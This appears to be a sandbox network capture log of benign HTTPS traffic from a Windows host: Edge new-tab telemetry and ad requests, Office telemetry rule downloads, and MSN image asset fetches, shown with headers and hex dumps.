2024-11-25 13:14:43 UTC	925	OUT	GET /b?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:44 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 13:14:44 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1CAdb95554df9bb41dd4e1e1732540484; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1CAdb95554df9bb41dd4e1e1732540484; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 c1ca71e6238e57e7b87d021fa60aad98.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: -6e5m8fws82Fd4_9Fw-GRcXjjVYUGEW4a7p0eS8tok1YOouOWQBjiw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:44 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:44 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131444Z-178bfbc474btrnf9hC1NYCb80g00000007kg00000000f46f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:44 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:44 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131444Z-178bfbc474bh5zbqhC1NYCkdug00000007ag00000000fmxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:44 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:44 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 6056d4b9-d01e-002b-71bf-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131444Z-178bfbc474brk967hC1NYCfu6000000007b00000000070wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:44 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:44 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:44 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131444Z-174c587ffdfn4nhwhC1TEB2nbc00000005zg00000000k8gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:44 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:44 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:45 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131445Z-174c587ffdfmrvb9hC1TEBtn3800000005zg00000000d9z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:45 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49845	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:45 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c5eca787-101e-0073-7a3b-3f18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131445Z-15b8b599d88pxmdghC1TEBux9c0000000670000000000k6z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 13:14:46 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49846	13.107.246.40	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:45 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:45 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T131445Z-174c587ffdfb5q56hC1TEB04kg00000005yg000000006t8x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:14:46 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49848	23.96.180.189	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:45 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=331C9059D5CC671123A1851BD4CD6669&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=13f14023b73f4d3cabef3752d02f74b4 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1
2024-11-25 13:14:46 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 13:14:45 GMT Connection: close
2024-11-25 13:14:46 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49854	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=258966 Expires: Thu, 28 Nov 2024 13:10:52 GMT Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close
2024-11-25 13:14:46 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49856	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=391253 Expires: Sat, 30 Nov 2024 01:55:39 GMT Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close
